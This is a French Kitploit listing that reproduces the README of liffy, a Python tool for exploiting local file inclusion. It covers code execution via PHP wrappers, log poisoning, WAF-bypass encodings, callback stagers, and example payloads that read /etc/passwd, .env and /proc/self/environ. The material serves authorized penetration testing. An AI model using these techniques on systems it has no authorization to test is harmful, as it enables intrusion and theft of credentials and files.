Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
liffy — Outil d'exploitation d'inclusion de fichiers locaux | Kitploit
Outils/GitHubGitHub/mzfr/liffy
Analyse des VulnérabilitésExploitation d'Applications WebContournement de WAFTests d'IntrusionDéveloppement de Charges Utiles
GitHubmzfr/liffy

liffy

Outil d'exploitation d'inclusion de fichiers locaux

Voir le dépôt
97811454il y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GitSpo Mentions License: GPL v3 Maintenance Rawsec's CyberSecurity Inventory

Packaging status


liffy

Outil avancé d'exploitation LFI

Télécharger l’outil

liffy en action

Un puissant outil Python pour l'exploitation d'inclusion locale de fichiers (LFI) avec des fonctionnalités avancées incluant le contournement WAF, les techniques d'encodage et la détection complète de vulnérabilités.

Liffy v2.0 est la version considérablement améliorée de liffy qui a été créé à l'origine par rotlogix/liffy. Cette version inclut des fonctionnalités modernes comme la sortie terminale Rich, la configuration YAML, le multithreading amélioré et de multiples techniques d'exploitation avancées.

⚠️ Beaucoup de nouveaux changements ont été codés à la volée.

Table des matières

  • Fonctionnalités
  • Installation
  • Utilisation
  • Configuration
  • Techniques avancées
  • Exemples
  • Contribution
  • Crédits

Fonctionnalités

Techniques LFI de base

  • data:// - Exécution de code via le wrapper data
  • expect:// - Exécution de code via le wrapper expect
  • input:// - Exécution de code via le wrapper input
  • filter:// - Lectures de fichiers arbitraires via le wrapper filter
  • /proc/self/environ - Exécution de code en mode CGI
  • Empoisonnement du journal Apache access.log - Exploitation des fichiers journaux
  • Empoisonnement SSH auth.log Linux - Exploitation des journaux SSH
  • Empoisonnement par octet nul - Attaques d'octet nul PHP héritées
  • Exploitation du wrapper ZIP - Attaques d'inclusion de fichiers ZIP
  • Détection de wrappers - Sondes sûres pour les wrappers de flux LFI courants
  • Sondes hors bande - Charges utiles de rappel pour les wrappers aveugles ou les comportements SSRF
  • Vérifications LFI aveugles - Sondes de différence de réponse lorsque les contenus de fichiers ne sont pas reflétés
  • Mode de scan automatique - Plan de scan sûr basé sur la détection, couvrant le parcours, les wrappers et les vérifications aveugles

Fonctionnalités avancées

  • Contournement WAF - Multiples techniques de contournement pour les WAF courants
  • Encodage avancé - Double encodage URL, Unicode, variations de casse
  • Support des requêtes POST - Prise en charge complète de la méthode POST avec données personnalisées
  • En-têtes personnalisés - En-têtes HTTP configurables
  • Rotation du User-Agent - Agents utilisateurs aléatoires pour éviter la détection
  • Limitation du débit - Limitation configurable des requêtes
  • Multithreading - Gestion améliorée du pool de threads
  • Mode détection - Scan de vulnérabilité sans exploitation
  • Sortie terminale riche - Sortie colorée avec barres de progression
  • Configuration YAML - Gestion des paramètres persistants

Améliorations modernes

  • Détection de vulnérabilité améliorée - Analyse avancée des réponses avec score de confiance
  • Gestion du pool de threads - Performance optimisée avec thread adaptatif
  • Gestion de la configuration - Paramètres basés sur YAML avec remplacement via CLI
  • Journalisation complète - Rapports d'exécution détaillés et suivi de progression

Installation

Assurez-vous d'utiliser Python 3. Liffy ne supporte pas Python 2. Les exemples ci-dessous utilisent uv run python pour exécuter les commandes dans l'environnement du projet.

root@kitploit:~
# Installez uv si ce n'est pas déjà fait
curl -LsSf https://astral.sh/uv/install.sh | sh

# Clonez le dépôt
git clone https://github.com/mzfr/liffy
cd liffy

# Créez un environnement virtuel avec uv
uv venv

# Installez les dépendances depuis pyproject.toml
uv sync

# Lancez liffy
uv run python liffy.py --help

Utilisation

Syntaxe de base

root@kitploit:~
uv run python liffy.py <URL> [OPTIONS]

Options en ligne de commande

root@kitploit:~
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
                [-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
                [--detection] [--null-byte] [--zip] [--encoding]
                [--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
                [--headers HEADERS] [--lhost LHOST] [--lport LPORT]
                [--read-file READ_FILE] [-y] [--timeout TIMEOUT]
                [--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
                [--oob] [--oob-url OOB_URL] [--blind] [--auto]
                [--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
                [--quiet] [--no-color] [--no-banner] [--config]
                [url]

arguments positionnels:
  url                   URL à tester pour LFI

Techniques de base:
  -d, --data            Utiliser la technique data://
  -i, --input           Utiliser la technique input://
  -e, --expect          Utiliser la technique expect://
  -f, --filter          Utiliser la technique filter://
  -p, --proc            Utiliser la technique /proc/self/environ
  -a, --access          Technique des logs Apache
  --ssh                 Empoisonnement du journal d'authentification SSH
  -dt, --directorytraverse  Tester le parcours de répertoire
  --null-byte           Tester l'empoisonnement par octet nul
  --zip                 Tester l'exploitation du wrapper ZIP
  --wrappers, --wrapper Détecter les wrappers de flux LFI courants
  --wrapper-list WRAPPER_LIST
                        Chemin vers une liste personnalisée de sondes de wrappers
  --oob                 Envoyer des sondes de rappel hors bande
  --oob-url OOB_URL     URL de base pour le rappel hors bande
  --blind               Effectuer des vérifications LFI aveugles par différence de réponse
  --blind-list BLIND_LIST
                        Chemin vers une liste personnalisée de sondes LFI aveugles
  --auto                Exécuter un plan de scan automatique et sûr

Options avancées:
  --encoding            Utiliser des techniques d'encodage/contournement avancées
  --waf-bypass          Utiliser des techniques de contournement WAF
  --method {GET,POST}   Méthode HTTP à utiliser (par défaut : GET)
  --post-data POST_DATA Données POST (format : clé=valeur&clé2=valeur2)
  --headers HEADERS     En-têtes personnalisés (format : En-tête1:Valeur1,En-tête2:Valeur2)
  --detection           Effectuer uniquement la détection LFI, pas d'exploitation

Options de requête:
  --timeout TIMEOUT     Délai d'expiration de la requête HTTP en secondes
  --proxy PROXY         URL du proxy HTTP(S), ex. http://127.0.0.1:8080
  --verify-tls          Vérifier les certificats TLS au lieu d'utiliser des requêtes non sécurisées
  --user-agent UA       En-tête User-Agent personnalisé
  --delay DELAY         Délai entre les requêtes en secondes
  --retries RETRIES     Nombre de tentatives HTTP par requête

Options d'automatisation:
  --lhost LHOST         Hôte de rappel pour les charges utiles échelonnées
  --lport LPORT         Port de rappel pour les charges utiles échelonnées
  --read-file PATH      Chemin du fichier à lire avec filter://
  -y, --yes             Utiliser les valeurs par défaut pour les invites et exécuter de manière non interactive
  --json                Afficher un résumé d'exécution en JSON
  --output OUTPUT       Écrire le résumé d'exécution JSON dans un fichier
  --quiet               Supprimer la sortie terminale normale

Options générales:
  -ns, --nostager       Exécuter la charge utile directement, ne pas utiliser de stager
  -r, --relative        Utiliser des séquences de parcours de chemin pour l'attaque
  -l, --location LOCATION  Chemin vers le fichier cible (log d'accès, log d'auth, etc.)
  --cookies COOKIES     Cookies de session pour l'authentification
  -t, --threads THREADS Nombre de threads à utiliser (par défaut : 5)
  --no-color            Désactiver la sortie colorée
  --no-banner           Désactiver l'affichage de la bannière
  --config              Créer un fichier de configuration YAML par défaut

Configuration

Configuration YAML

Créez un fichier de configuration pour des paramètres persistants :

root@kitploit:~
uv run python liffy.py --config

Ceci crée liffy_config.yaml avec les paramètres par défaut :

root@kitploit:~
# Fichier de configuration Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0

Définissez disable_banner: true pour masquer la bannière/logo de démarrage par défaut. Les indicateurs CLI remplacent toujours les valeurs de configuration, vous pouvez donc aussi utiliser --no-banner, --no-color, ou --quiet pour des exécutions ponctuelles.

Variables d'environnement

Vous pouvez également utiliser des variables d'environnement :

  • LIFFY_THREADS - Nombre de threads
  • LIFFY_RATE_LIMIT - Délai de limitation du débit
  • LIFFY_NO_COLOR - Désactiver les couleurs (true/false)

Techniques avancées

Techniques de contournement WAF

Lorsque --waf-bypass est activé, liffy applique automatiquement plusieurs techniques d'évasion :

  • Injection de commentaires : /**/, #, ;
  • Confusion de protocole : file:///, pHp://
  • Superposition d'encodage : Combinaisons d'encodages multiples
  • Obfuscation de chemin : ./, ../, octets nuls

Techniques de contournement par encodage

Avec --encoding, liffy applique des méthodes d'encodage avancées :

  • Double encodage URL : %252e%252e%252f
  • Encodage Unicode : \u002e\u002e\u002f
  • Casse mixte : ..%2F, ..%2f
  • Encodage d'entités HTML : &#46;&#46;&#47;

Support des requêtes POST

root@kitploit:~
# POST avec données de formulaire
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"

# POST avec en-têtes personnalisés
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"

Réglage des requêtes

root@kitploit:~
# Envoyer le trafic via un proxy local et réessayer en cas d'échec transitoire
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
  --proxy "http://127.0.0.1:8080" --timeout 20 --retries 2

# Utiliser un User-Agent fixe et un délai de requête personnalisé
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
  --user-agent "liffy/2.0" --delay 0.5

Exemples

Test LFI de base

Test avec le wrapper data://

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d

Test avec plusieurs techniques

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f

Mode détection uniquement

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e

Utilisation avancée

Contournement WAF avec encodage

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding

Multithread avec limitation de débit

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config

Requête POST avec en-têtes personnalisés

root@kitploit:~
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
  --post-data "action=read&file=../../etc/passwd" \
  --headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"

Empoisonnement de journaux

Empoisonnement du journal Apache access.log

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a

Empoisonnement du journal SSH auth.log

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --ssh

Emplacement de journal personnalisé

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"

Parcours de répertoire

Parcours relatif

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d -r

Test de parcours de répertoire

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -dt

Techniques spéciales

Empoisonnement par octet nul (PHP hérité)

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --null-byte

Exploitation du wrapper ZIP

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --zip

Détection de wrappers courants

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrappers

La détection de wrappers utilise des sondes sûres par défaut pour file://, php://filter, data://, php://temp, php://memory et les wrappers associés. zip://, phar:// et glob:// sont traités comme informatifs/conditionnels car ils nécessitent généralement des fichiers côté cible ou un comportement de sink qui expose les listages.

Vous pouvez fournir une liste de charges utiles de wrappers personnalisées. Si --wrapper-list est omis, liffy revient aux sondes intégrées :

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
  --wrapper-list payload_wordlists/wrappers.txt

Chaque ligne non vide peut être soit une charge utile brute, soit nom=charge_utile :

root@kitploit:~
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini

Sondes de rappel hors bande

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --oob \
  --oob-url "https://example.oast.site"

Utilisez ceci avec un écouteur de rappel HTTP/DNS. Liffy envoie des charges utiles de style wrapper d'URL et vous vérifiez si la cible rappelle.

Vérifications LFI aveugles

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind

Les vérifications aveugles comparent les sondes de fichiers existants avec des lignes de base de fichiers manquants aléatoires et signalent les différences de statut, de longueur ou de temporisation lorsque le contenu n'est pas directement reflété.

Vous pouvez fournir une liste de sondes aveugles personnalisées. Si --blind-list est omis ou vide, liffy utilise les sondes intégrées :

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --blind \
  --blind-list payload_wordlists/blind_lfi.txt

Chaque ligne non vide peut être soit une charge utile brute, soit nom=charge_utile :

root@kitploit:~
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env

Scan automatique et sûr

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --auto

--auto active le parcours de répertoire en mode détection uniquement, les vérifications de wrappers et les vérifications aveugles. Si --oob-url est également fourni, il inclut les sondes hors bande.

Scan complet avec toutes les techniques

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" \
  -d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
  --encoding --waf-bypass --detection

Authentification et cookies

Utilisation de cookies de session

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --cookies "PHPSESSID=abc123; auth_token=xyz789"

Utilisation scriptée / non interactive

Fournir des valeurs de rappel sans invites

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d \
  --lhost 10.10.14.2 --lport 4444 --yes

Lire un fichier spécifique avec filter:// sans invite

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -f \
  --read-file /etc/passwd --yes

Sortie structurée

Afficher un résumé JSON

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json

Écrire un résumé JSON dans un fichier tout en conservant la sortie terminale

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
  --output findings.json

Contrôle de la sortie

Désactiver les couleurs et la bannière

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner

Supprimer la sortie terminale normale

root@kitploit:~
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json

Emplacements de fichiers par défaut

Les emplacements par défaut suivants sont utilisés lorsqu'aucun chemin personnalisé n'est spécifié :

  • SSH auth.log : /var/log/auth.log
  • Apache access.log : /var/log/apache2/access.log
  • Autre journal Apache : /var/log/httpd/access_log

Contribution

Nous accueillons les contributions ! Voici comment vous pouvez aider :

Suggestions de fonctionnalités

  • Nouvelles techniques d'exploitation LFI
  • Méthodes supplémentaires de contournement WAF
  • Techniques d'encodage améliorées
  • Optimisation des charges utiles
  • Améliorations de la détection

Signalements de bugs

  • Signalez les problèmes via GitHub Issues
  • Incluez des étapes de reproduction détaillées
  • Fournissez des détails sur l'environnement cible

Pull Requests

  • Forkez le dépôt
  • Créez une branche de fonctionnalité
  • Effectuez vos modifications avec des tests
  • Soumettez une pull request

N'hésitez pas à ouvrir une issue pour toute question ou suggestion !

Détection de vulnérabilité

Le mode détection de Liffy fournit une analyse complète des vulnérabilités :

Score de confiance

  • Haute confiance (80-100%) : Indicateurs forts comme le contenu de /etc/passwd
  • Confiance moyenne (50-79%) : Contenu de fichier partiel ou réponses suspectes
  • Faible confiance (20-49%) : Indicateurs potentiels nécessitant une vérification manuelle

Fonctionnalités de détection

  • Analyse du contenu des fichiers : Reconnaît les motifs de fichiers Linux, Windows et PHP
  • Analyse des réponses : Codes d'état HTTP, longueur du contenu, analyse temporelle
  • Détection WAF : Identifie les signatures WAF courantes
  • Collecte de preuves : Capture la preuve de vulnérabilité pour le rapport

Exemple de sortie de détection

root@kitploit:~
[+] RÉSUMÉ DE VULNÉRABILITÉ
==================================================
[1] Vulnérabilité trouvée
    Charge utile : ../../etc/passwd
    Confiance : 85%
    Preuve : Fichier Linux /etc/passwd : root:
    Code d'état : 200
    Longueur du contenu : 1547

Dépannage

Problèmes courants

Requêtes bloquées par le WAF

root@kitploit:~
# Utiliser les techniques de contournement WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass

# Réduire le nombre de threads et augmenter les délais
uv run python liffy.py "http://target.com/lfi.php" -d -t 1

Problèmes de limitation de débit

root@kitploit:~
# Augmenter le délai dans le fichier de configuration
max_threads: 2
rate_limit_delay: 1.0

Mode débogage

Pour une sortie détaillée, vous pouvez modifier la configuration :

root@kitploit:~
debug_mode: true
verbose_output: true

Avis de sécurité

Liffy est conçu uniquement pour les tests de sécurité autorisés.

  • Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test
  • Suivez les pratiques de divulgation responsable
  • Respectez les limites de débit et évitez les conditions de déni de service
  • Soyez conscient des implications légales dans votre juridiction

Les auteurs ne sont pas responsables d'une mauvaise utilisation de cet outil.

Crédits

Inspiration originale

  • liffy original par hvqzao
  • Concept initial de rotlogix/liffy

Techniques et recherches

  • Techniques d'exploitation LFI issues de diverses recherches en sécurité
  • Méthodes de contournement WAF provenant de ressources de sécurité publiques
  • Documentation sur l'exploitation des wrappers PHP

Conception et ressources

  • Conception du logo de renderforest
  • Style du terminal utilisant la bibliothèque Rich

Licence

Ce projet est sous licence GNU General Public License v3.0 - voir le fichier LICENSE pour plus de détails.